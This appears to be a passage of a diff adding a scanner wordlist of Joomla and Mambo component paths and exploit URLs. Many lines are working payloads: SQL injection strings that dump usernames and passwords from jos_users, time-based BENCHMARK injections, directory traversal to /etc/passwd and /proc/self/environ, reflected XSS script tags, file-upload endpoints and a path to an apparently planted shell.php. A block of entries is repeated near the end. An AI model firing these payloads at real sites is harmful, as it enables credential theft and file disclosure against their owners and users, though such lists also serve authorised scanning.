+ index.php?option=com_articleman&task=new
463
+ index.php?option=com_bbs&bid=-1
464
+ index.php?option=com_beamospetition&startpage=3&pet=-
465
+ index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users-
466
+ index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27
467
+ index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00
468
+ index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
469
+ index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00
470
+ index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1
471
+ index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users--
472
+ index.php?option=com_chronoconnectivity&itemid=1
473
+ index.php?option=com_chronocontact&itemid=1
474
+ index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=
475
+ index.php?option=com_clantools&squad=1+
476
+ index.php?option=com_clantools&task=clanwar&showgame=1+
477
+ index.php?option=com_commedia&format=raw&task=image&pid=4&id=964'
478
+ index.php?option=com_commedia&task=page&commpid=21
479
+ index.php?option=com_connect&view=connect&controller=
480
+ index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../
481
+ index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00
482
+ index.php?option=com_dioneformwizard&controller=[LFI]%00
483
+ index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1
484
+ index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12
485
+ index.php?option=com_easyfaq&Itemid=1&task=view&gid=
486
+ index.php?option=com_easyfaq&catid=1&task=view&id=-2527+
487
+ index.php?option=com_easyfaq&task=view&contact_id=
488
+ index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=
489
+ index.php?option=com_equipment&task=components&id=45&sec_men_id=
490
+ index.php?option=com_equipment&view=details&id=
491
+ index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli]
492
+ index.php?option=com_etree&view=displays&layout=category&id=[SQL]
493
+ index.php?option=com_etree&view=displays&layout=user&user_id=[SQL]
494
+ index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1
495
+ index.php?option=com_fabrik&view=table&tableid=13+union+select+1----
496
+ index.php?option=com_filecabinet&task=download&cid[]=7
497
+ index.php?option=com_firmy&task=section_show_set&Id=-1
498
+ index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R
499
+ index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id=
500
+ index.php?option=com_graphics&controller=
501
+ index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search=
502
+ index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp=
503
+ index.php?option=com_huruhelpdesk&view=detail
504
+ index.php?option=com_huruhelpdesk&view=detail&cid[0]=
505
+ index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1
506
+ index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1
507
+ index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2
508
+ index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1
509
+ index.php?option=com_iproperty&view=agentproperties&id=
510
+ index.php?option=com_jacomment&view=
511
+ index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00
512
+ index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00
513
+ index.php?option=com_jcommunity&controller=members&task=1'
514
+ index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13
515
+ index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2
516
+ index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2
517
+ index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00
518
+ index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL)))
519
+ index.php?option=com_jfuploader&Itemid=
520
+ index.php?option=com_jgen&task=view&id=
521
+ index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00
522
+ index.php?option=com_jimtawl&Itemid=12&task=
523
+ index.php?option=com_jmarket&controller=product&task=1'
524
+ index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1'
525
+ index.php?option=com_jomdirectory&task=search&type=111+
526
+ index.php?option=com_joomdle&view=detail&cat_id=1&course_id=
527
+ index.php?option=com_joomla_flash_uploader&Itemid=1
528
+ index.php?option=com_joomleague&func=showNextMatch&p=[sqli]
529
+ index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli]
530
+ index.php?option=com_joomtouch&controller=
531
+ index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00
532
+ index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00
533
+ index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users
534
+ index.php?option=com_jstore&controller=product-display&task=1'
535
+ index.php?option=com_jsubscription&controller=subscription&task=1'
536
+ index.php?option=com_jtickets&controller=ticket&task=1'
537
+ index.php?option=com_konsultasi&act=detail&sid=
538
+ index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
539
+ index.php?option=com_kunena&func=userlist&search=
540
+ index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1'
541
+ index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00
542
+ index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users--
543
+ index.php?option=com_matamko&controller=
544
+ index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm
545
+ index.php?option=com_neorecruit&task=offer_view&id=
546
+ index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
547
+ index.php?option=com_noticeboard&controller=
548
+ index.php?option=com_obsuggest&controller=
549
+ index.php?option=com_ongallery&task=ft&id=-1+order+by+1--
550
+ index.php?option=com_ongallery&task=ft&id=-1+union+select+1--
551
+ index.php?option=com_oziogallery&Itemid=
552
+ index.php?option=com_page&id=53
553
+ index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL)))
554
+ index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00
555
+ index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection]
556
+ index.php?option=com_phocagallery&view=categories&Itemid=
557
+ index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
558
+ index.php?option=com_php&file=../../../../../../../../../../etc/passwd
559
+ index.php?option=com_php&file=../images/phplogo.jpg
560
+ index.php?option=com_php&file=../js/ie_pngfix.js
561
+ index.php?option=com_ponygallery&Itemid=[sqli]
562
+ index.php?option=com_products&catid=-1
563
+ index.php?option=com_products&id=-1
564
+ index.php?option=com_products&product_id=-1
565
+ index.php?option=com_products&task=category&catid=-1
566
+ index.php?option=com_properties&task=agentlisting&aid=
567
+ index.php?option=com_qcontacts&Itemid=1'
568
+ index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts
569
+ index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00
570
+ index.php?option=com_restaurantguide&view=country&id='&Itemid=69
571
+ index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'
572
+ index.php?option=com_seyret&view=
573
+ index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--
574
+ index.php?option=com_smartsite&controller=
575
+ index.php?option=com_spa&view=spa_product&cid=
576
+ index.php?option=com_spidercalendar
577
+ index.php?option=com_spidercalendar&date=1'
578
+ index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
579
+ index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
580
+ index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
581
+ index.php?option=com_staticxt&staticfile=test.php&id=1923
582
+ index.php?option=com_szallasok&mode=8&id=25 (SQL)
583
+ index.php?option=com_tag&task=tag&tag=
584
+ index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users--
585
+ index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users
586
+ index.php?option=com_ultimateportfolio&controller=
587
+ index.php?option=com_users&view=registration
588
+ index.php?option=com_virtuemart&page=account.index&keyword=[sqli]
589
+ index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00
590
+ index.php?option=com_x-shop&action=artdetail&idd='
591
+ index.php?option=com_x-shop&action=artdetail&idd='[SQLi]
592
+ index.php?option=com_xcomp&controller=../../[LFI]%00
593
+ index.php?option=com_xvs&controller=../../[LFI]%00
594
+ index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users--
595
+ index.php?option=com_yjcontactus&view=
596
+ index.php?option=com_youtube&id_cate=4
597
+ index.php?option=com_zina&view=zina&Itemid=9
598
+ index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id=
599
+ index.php?search=NoGe&option=com_esearch&searchId=
600
+ index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube
601
+ index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users--
602
+ js/index.php?option=com_socialads&view=showad&Itemid=94
603
+ libraries/joomla/utilities/compat/php50x.php
604
+ libraries/pcl/pcltar.php
605
+ libraries/phpmailer/phpmailer.php
606
+ libraries/phpxmlrpc/xmlrpcs.php
607
+ modules/mod_artuploader/upload.php");
608
+ modules/mod_as_category.php
609
+ modules/mod_calendar.php
610
+ modules/mod_ccnewsletter/helper/popup.php?id=[SQLi]
611
+ modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream");
612
+ modules/mod_jfancy/script.php");
613
+ modules/mod_ppc_simple_spotlight/elements/upload_file.php
614
+ modules/mod_ppc_simple_spotlight/img/
615
+ modules/mod_pxt/
616
+ modules/mod_quick_question.php
617
+ modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0
618
+ patch/makedown.php?arquivo=../../../../etc/passwd
619
+ plugins/content/efup_files/helper.php");
620
+ plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data">
621
+ plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
622
+ plugins/editors/xstandard/attachmentlibrary.php
623
+ print.php?task=person&id=36 and 1=1
624
+ templates/be2004-2/
625
+ templates/ja_purity/
626
+ wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
627
+ web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'&controller=../../../../../../../../../../../../[LFI]%00
628
+ ?1.5.10-x
629
+ ?1.5.11-x-http_ref
630
+ ?1.5.11-x-php-s3lf
631
+ ?1.5.3-path-disclose
632
+ ?1.5.3-spam
633
+ ?1.5.8-x
634
+ ?1.5.9-x
635
+ ?j1012-fixate-session
636
+ ?option=com_mysms&Itemid=0&task=phonebook
637
+ Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png
638
+ admin/
639
+ administrator/
640
+ administrator/components/
641
+ administrator/components/com_a6mambocredits/
642
+ administrator/components/com_a6mambohelpdesk/
643
+ administrator/components/com_admin/admin.admin.html.php
644
+ administrator/components/com_astatspro/refer.php
645
+ administrator/components/com_bayesiannaivefilter/
646
+ administrator/components/com_chronocontact/excelwriter/PPS/File.php
647
+ administrator/components/com_colophon/
648
+ administrator/components/com_colorlab/
649
+ administrator/components/com_comprofiler/
650
+ administrator/components/com_comprofiler/plugin.class.php
651
+ administrator/components/com_cropimage/admin.cropcanvas.php
652
+ administrator/components/com_extplorer/
653
+ administrator/components/com_feederator/includes/tmsp/add_tmsp.php
654
+ administrator/components/com_googlebase/
655
+ administrator/components/com_installer
656
+ administrator/components/com_jcs/
657
+ administrator/components/com_jim/
658
+ administrator/components/com_jjgallery/
659
+ administrator/components/com_joom12pic/
660
+ administrator/components/com_joomla-visites/
661
+ administrator/components/com_joomla_flash_uploader/
662
+ administrator/components/com_joomlaflashfun/
663
+ administrator/components/com_joomlaradiov5/
664
+ administrator/components/com_jpack/
665
+ administrator/components/com_jreactions/
666
+ administrator/components/com_juser/
667
+ administrator/components/com_admin/
668
+ administrator/components/com_kochsuite /
669
+ administrator/components/com_linkdirectory/
670
+ administrator/components/com_livechat/getSavedChatRooms.php
671
+ administrator/components/com_livechat/xmlhttp.php
672
+ administrator/components/com_lurm_constructor/admin.lurm_constructor.php
673
+ administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php");
674
+ administrator/components/com_mambelfish/
675
+ administrator/components/com_mgm/
676
+ administrator/components/com_mmp/help.mmp.php
677
+ administrator/components/com_mosmedia/
678
+ administrator/components/com_multibanners/extadminmenus.class.php
679
+ administrator/components/com_panoramic/
680
+ administrator/components/com_peoplebook/param.peoplebook.php
681
+ administrator/components/com_phpshop/toolbar.phpshop.html.php
682
+ administrator/components/com_remository/admin.remository.php
683
+ administrator/components/com_serverstat/install.serverstat.php
684
+ administrator/components/com_simpleswfupload/uploadhandler.php");
685
+ administrator/components/com_swmenupro/
686
+ administrator/components/com_treeg/
687
+ administrator/components/com_uhp/
688
+ administrator/components/com_uhp2/
689
+ administrator/components/com_webring/
690
+ administrator/components/com_wmtgallery/
691
+ administrator/components/com_wmtportfolio/
692
+ administrator/components/com_x-shop/
693
+ administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
694
+ administrator/index.php?option=com_searchlog&act=log
695
+ ajaxim/
696
+ akocomments.php
697
+ cart?Itemid=[SQLi]
698
+ component/com__brightweblinks/
699
+ component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0
700
+ component/osproperty/?task=agent_register
701
+ component/quran/index.php?option=com_quran&action=viewayat&surano=
702
+ components/com_ clickheat/
703
+ components/com_5starhotels/
704
+ components/com_Jambook/jambook.php
705
+ components/com_a6mambocredits/
706
+ components/com_a6mambohelpdesk/
707
+ components/com_ab_gallery/
708
+ components/com_acajoom/
709
+ components/com_acctexp/
710
+ components/com_aclassf/
711
+ components/com_activities/
712
+ components/com_actualite/
713
+ components/com_admin/admin.admin.html.php
714
+ components/com_advancedpoll/
715
+ components/com_agora/
716
+ components/com_agoragroup/
717
+ components/com_ajaxchat/
718
+ components/com_akobook/
719
+ components/com_akocomment/
720
+ components/com_akogallery
721
+ components/com_alberghi/
722
+ components/com_allhotels/
723
+ components/com_alphacontent/
724
+ components/com_altas/
725
+ components/com_amocourse/
726
+ components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php
727
+ components/com_articles/
728
+ components/com_artist/
729
+ components/com_artlinks/
730
+ components/com_asortyment/
731
+ components/com_astatspro/
732
+ components/com_awesom/
733
+ components/com_babackup/
734
+ components/com_banners/
735
+ components/com_bayesiannaivefilter/
736
+ components/com_be_it_easypartner/
737
+ components/com_beamospetition/
738
+ components/com_biblestudy/
739
+ components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
740
+ components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
741
+ components/com_blog/
742
+ components/com_bookflip/
743
+ components/com_bookjoomlas/
744
+ components/com_booklibrary/
745
+ components/com_books/
746
+ components/com_bsadv/
747
+ components/com_bsq_sitestats/
748
+ components/com_bsq_sitestats/external/rssfeed.php
749
+ components/com_bsqsitestats/
750
+ components/com_calendar/
751
+ components/com_camelcitydb2/
752
+ components/com_candle/
753
+ components/com_casino_blackjack/
754
+ components/com_casino_videopoker/
755
+ components/com_casinobase/
756
+ components/com_catalogproduction/
757
+ components/com_catalogshop/
758
+ components/com_category/
759
+ components/com_cgtestimonial/video.php?url="><script>alert('xss');</script>
760
+ components/com_chronocontact/excelwriter/PPS/File.php
761
+ components/com_cinema/
762
+ components/com_clasifier/
763
+ components/com_classifieds/
764
+ components/com_clickheat/
765
+ components/com_cloner/
766
+ components/com_cmimarketplace/
767
+ components/com_cms/
768
+ components/com_colophon/
769
+ components/com_colorlab/
770
+ components/com_competitions/
771
+ components/com_comprofiler/
772
+ components/com_comprofiler/plugin.class.php
773
+ components/com_contactinfo/
774
+ components/com_content/
775
+ components/com_cpg/cpg.php
776
+ components/com_cropimage/admin.cropcanvas.php
777
+ components/com_custompages/
778
+ components/com_cx/
779
+ components/com_d3000/
780
+ components/com_dadamail/
781
+ components/com_dailymessage/
782
+ components/com_datsogallery/
783
+ components/com_dbquery/
784
+ components/com_detail/
785
+ components/com_digistore/
786
+ components/com_directory/
787
+ components/com_djiceshoutbox/
788
+ components/com_doc/
789
+ components/com_downloads/
790
+ components/com_ds-syndicate/
791
+ components/com_dtregister/
792
+ components/com_dv/externals/phpupload/upload.php");
793
+ components/com_easybook/
794
+ components/com_emcomposer/
795
+ components/com_equotes/
796
+ components/com_estateagent/
797
+ components/com_eventing/
798
+ components/com_eventlist/
799
+ components/com_events/
800
+ components/com_ewriting/
801
+ components/com_expose/uploadimg.php
802
+ components/com_expshop/
803
+ components/com_extcalendar/
804
+ components/com_extcalendar/cal_popup.php?extmode=view&extid=
805
+ components/com_extcalendar/extcalendar.php
806
+ components/com_extended_registration/registration_detailed.inc.php
807
+ components/com_extplorer/
808
+ components/com_ezine/
809
+ components/com_ezstore/
810
+ components/com_facileforms/
811
+ components/com_fantasytournament/
812
+ components/com_faq/
813
+ components/com_feederator/includes/tmsp/add_tmsp.php
814
+ components/com_filebase/
815
+ components/com_filiale/
816
+ components/com_flashfun/
817
+ components/com_flashmagazinedeluxe/
818
+ components/com_flippingbook/
819
+ components/com_flyspray/startdown.php
820
+ components/com_fm/fm.install.php
821
+ components/com_foevpartners/
822
+ components/com_football/
823
+ components/com_formtool/
824
+ components/com_forum/
825
+ components/com_fq/
826
+ components/com_fundraiser/
827
+ components/com_galeria/
828
+ components/com_galleria/galleria.html.php
829
+ components/com_gallery/
830
+ components/com_game/
831
+ components/com_gameq/
832
+ components/com_garyscookbook/
833
+ components/com_genealogy/
834
+ components/com_geoboerse/
835
+ components/com_gigcal/
836
+ components/com_gmaps/
837
+ components/com_googlebase/
838
+ components/com_gsticketsystem/
839
+ components/com_guide/
840
+ components/com_hashcash/server.php
841
+ components/com_hbssearch/
842
+ components/com_hello_world/
843
+ components/com_hotproperties/
844
+ components/com_hotproperty/
845
+ components/com_hotspots/
846
+ components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php
847
+ components/com_hwdvideoshare/
848
+ components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1");
849
+ components/com_ice/
850
+ components/com_idoblog/
851
+ components/com_idvnews/
852
+ components/com_ignitegallery/
853
+ components/com_ijoomla_archive/
854
+ components/com_ijoomla_rss/
855
+ components/com_inter/
856
+ components/com_ionfiles/
857
+ components/com_is/
858
+ components/com_ixxocart/
859
+ components/com_jabode/
860
+ components/com_jashowcase/
861
+ components/com_jb2/
862
+ components/com_jce/
863
+ components/com_jcs/
864
+ components/com_jd-wiki/
865
+ components/com_jd-wp/
866
+ components/com_jim/
867
+ components/com_jjgallery/
868
+ components/com_jmovies/
869
+ components/com_jobline/
870
+ components/com_jombib/
871
+ components/com_joobb/
872
+ components/com_jooget/
873
+ components/com_joom12pic/
874
+ components/com_joomla-visites/
875
+ components/com_joomla_flash_uploader/
876
+ components/com_joomlaboard/
877
+ components/com_joomladate/
878
+ components/com_joomlaflashfun/
879
+ components/com_joomlalib/
880
+ components/com_joomlaradiov5/
881
+ components/com_joomlavvz/
882
+ components/com_joomlaxplorer/
883
+ components/com_joomloads/
884
+ components/com_joomradio/
885
+ components/com_joomtracker/
886
+ components/com_joovideo/
887
+ components/com_jotloader/
888
+ components/com_journal/
889
+ components/com_jpack/
890
+ components/com_jpad/
891
+ components/com_jreactions/
892
+ components/com_jreviews/scripts/xajax.inc.php
893
+ components/com_jumi/
894
+ components/com_juser/
895
+ components/com_jvideo/
896
+ components/com_k2/
897
+ components/com_kbase/
898
+ components/com_knowledgebase/fckeditor/fckeditor.js
899
+ components/com_kochsuite /
900
+ components/com_kunena/
901
+ components/com_letterman/
902
+ components/com_lexikon/
903
+ components/com_linkdirectory/
904
+ components/com_listoffreeads/
905
+ components/com_livechat/getSavedChatRooms.php
906
+ components/com_livechat/xmlhttp.php
907
+ components/com_liveticker/
908
+ components/com_lm/
909
+ components/com_lmo/
910
+ components/com_loudmounth/includes/abbc/abbc.class.php
911
+ components/com_loudmouth/
912
+ components/com_lowcosthotels/
913
+ components/com_lurm_constructor/admin.lurm_constructor.php
914
+ components/com_mad4joomla/
915
+ components/com_madeira/img.php
916
+ components/com_maianmusic/
917
+ components/com_mailarchive/
918
+ components/com_mailto/
919
+ components/com_mambatstaff/mambatstaff.php
920
+ components/com_mambelfish/
921
+ components/com_mambospgm/
922
+ components/com_mambowiki/MamboLogin.php
923
+ components/com_marketplace/
924
+ components/com_mcquiz/
925
+ components/com_mdigg/
926
+ components/com_media_library/
927
+ components/com_mediaslide/
928
+ components/com_mezun/
929
+ components/com_mgm/
930
+ components/com_minibb/
931
+ components/com_misterestate/
932
+ components/com_mmp/help.mmp.php
933
+ components/com_model/
934
+ components/com_moodle/moodle.php
935
+ components/com_moofaq/
936
+ components/com_mosmedia/
937
+ components/com_mospray/scripts/admin.php
938
+ components/com_mosres/
939
+ components/com_most/
940
+ components/com_mp3_allopass/
941
+ components/com_mtree/
942
+ components/com_mtree/img/listings/o/{id}.php
943
+ components/com_multibanners/extadminmenus.class.php
944
+ components/com_myalbum/
945
+ components/com_mycontent/
946
+ components/com_mydyngallery/
947
+ components/com_mygallery/
948
+ components/com_n-forms/
949
+ components/com_na_content/
950
+ components/com_na_mydocs/
951
+ components/com_na_newsdescription/
952
+ components/com_na_qforms/
953
+ components/com_neogallery/
954
+ components/com_neorecruit/
955
+ components/com_neoreferences/
956
+ components/com_netinvoice/
957
+ components/com_news/
958
+ components/com_news_portal/
959
+ components/com_newsflash/
960
+ components/com_nfn_addressbook/
961
+ components/com_nicetalk/
962
+ components/com_noticias/
963
+ components/com_omnirealestate/
964
+ components/com_omphotogallery/
965
+ components/com_ongumatimesheet20/
966
+ components/com_onlineflashquiz/
967
+ components/com_ownbiblio/
968
+ components/com_panoramic/
969
+ components/com_paxgallery/
970
+ components/com_paxxgallery/
971
+ components/com_pcchess/
972
+ components/com_pcchess/include.pcchess.php
973
+ components/com_pccookbook/
974
+ components/com_pccookbook/pccookbook.php
975
+ components/com_peoplebook/param.peoplebook.php
976
+ components/com_performs/
977
+ components/com_philaform/
978
+ components/com_phocadocumentation/
979
+ components/com_php/
980
+ components/com_phpshop/toolbar.phpshop.html.php
981
+ components/com_pinboard/
982
+ components/com_pms/
983
+ components/com_poll/
984
+ components/com_pollxt/
985
+ components/com_ponygallery/
986
+ components/com_portafolio/
987
+ components/com_portfol/
988
+ components/com_prayercenter/
989
+ components/com_pro_desk/
990
+ components/com_prod/
991
+ components/com_productshowcase/
992
+ components/com_profiler/
993
+ components/com_projectfork/
994
+ components/com_propertylab/
995
+ components/com_puarcade/
996
+ components/com_publication/
997
+ components/com_quiz/
998
+ components/com_rapidrecipe/
999
+ components/com_rdautos/
1000
+ components/com_realestatemanager/
1001
+ components/com_recly/
1002
+ components/com_referenzen/
1003
+ components/com_rekry/
1004
+ components/com_remository/admin.remository.php
1005
+ components/com_remository_files/file_image_14/1276100016shell.php
1006
+ components/com_reporter/processor/reporter.sql.php
1007
+ components/com_resman/
1008
+ components/com_restaurante/
1009
+ components/com_ricette/
1010
+ components/com_rsfiles/
1011
+ components/com_rsgallery/
1012
+ components/com_rsgallery2/
1013
+ components/com_rss/
1014
+ components/com_rssreader/
1015
+ components/com_rssxt/
1016
+ components/com_rwcards/
1017
+ components/com_school/
1018
+ components/com_search/
1019
+ components/com_sebercart/getPic.php?p=[LFD]%00
1020
+ components/com_securityimages/
1021
+ components/com_sef/
1022
+ components/com_seminar/
1023
+ components/com_serverstat/install.serverstat.php
1024
+ components/com_sg/
1025
+ components/com_simple_review/
1026
+ components/com_simpleboard/
1027
+ components/com_simplefaq/
1028
+ components/com_simpleshop/
1029
+ components/com_sitemap/sitemap.xml.php
1030
+ components/com_slideshow/
1031
+ components/com_smf/
1032
+ components/com_smf/smf.php
1033
+ components/com_swmenupro/
1034
+ components/com_team/
1035
+ components/com_tech_article/
1036
+ components/com_thopper/
1037
+ components/com_thyme/
1038
+ components/com_tickets/
1039
+ components/com_tophotelmodule/
1040
+ components/com_tour_toto/
1041
+ components/com_trade/
1042
+ components/com_uhp/
1043
+ components/com_uhp2/
1044
+ components/com_user/controller.php
1045
+ components/com_users/
1046
+ components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php
1047
+ components/com_vehiclemanager/
1048
+ components/com_versioning /
1049
+ components/com_videodb/core/videodb.class.xml.php
1050
+ components/com_virtuemart/
1051
+ components/com_volunteer/
1052
+ components/com_vr/
1053
+ components/com_waticketsystem/
1054
+ components/com_webhosting/
1055
+ components/com_weblinks/
1056
+ components/com_webring/
1057
+ components/com_wmtgallery/
1058
+ components/com_wmtportfolio/
1059
+ components/com_x-shop/
1060
+ components/com_xevidmegahd/
1061
+ components/com_xewebtv/
1062
+ components/com_xfaq/
1063
+ components/com_xgallery/helpers/img.php?file=
1064
+ components/com_xsstream-dm/
1065
+ components/com_ynews/
1066
+ components/com_yvcomment/
1067
+ components/com_zoom/classes/
1068
+ components/mod_letterman/
1069
+ components/remository/
1070
+ eXtplorer/
1071
+ easyblog/entry/uncategorized
1072
+ extplorer/
1073
+ components/com_mtree/img/listings/o/{id}.php where {id}
1074
+ includes/joomla.php
1075
+ index.php/404'
1076
+ index.php/?option=com_question&catID=21' and+1=0 union all
1077
+ index.php/image-gallery/"><script>alert('xss')</script>/25-koala
1078
+ index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&amp;type=css&v=1
1079
+ index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view
1080
+ index.php?option=com_aardvertiser&cat_name=conf&task=<=
1081
+ index.php?option=com_aardvertiser&task=
1082
+ index.php?option=com_abc&view=abc&letter=AS&sectionid='
1083
+ index.php?option=com_advert&id=36'
1084
+ index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users--
1085
+ index.php?option=com_alfurqan15x&action=viewayat&surano=
1086
+ index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version
1087
+ index.php?option=com_annonces&view=edit&Itemid=1
1088
+ index.php?option=com_articleman&task=new
1089
+ index.php?option=com_bbs&bid=-1
1090
+ index.php?option=com_beamospetition&startpage=3&pet=-
1091
+ index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users-
1092
+ index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27
1093
+ index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00
1094
+ index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
1095
+ index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00
1096
+ index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1
1097
+ index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users--
1098
+ index.php?option=com_chronoconnectivity&itemid=1
1099
+ index.php?option=com_chronocontact&itemid=1
1100
+ index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=
1101
+ index.php?option=com_clantools&squad=1+
1102
+ index.php?option=com_clantools&task=clanwar&showgame=1+
1103
+ index.php?option=com_commedia&format=raw&task=image&pid=4&id=964'
1104
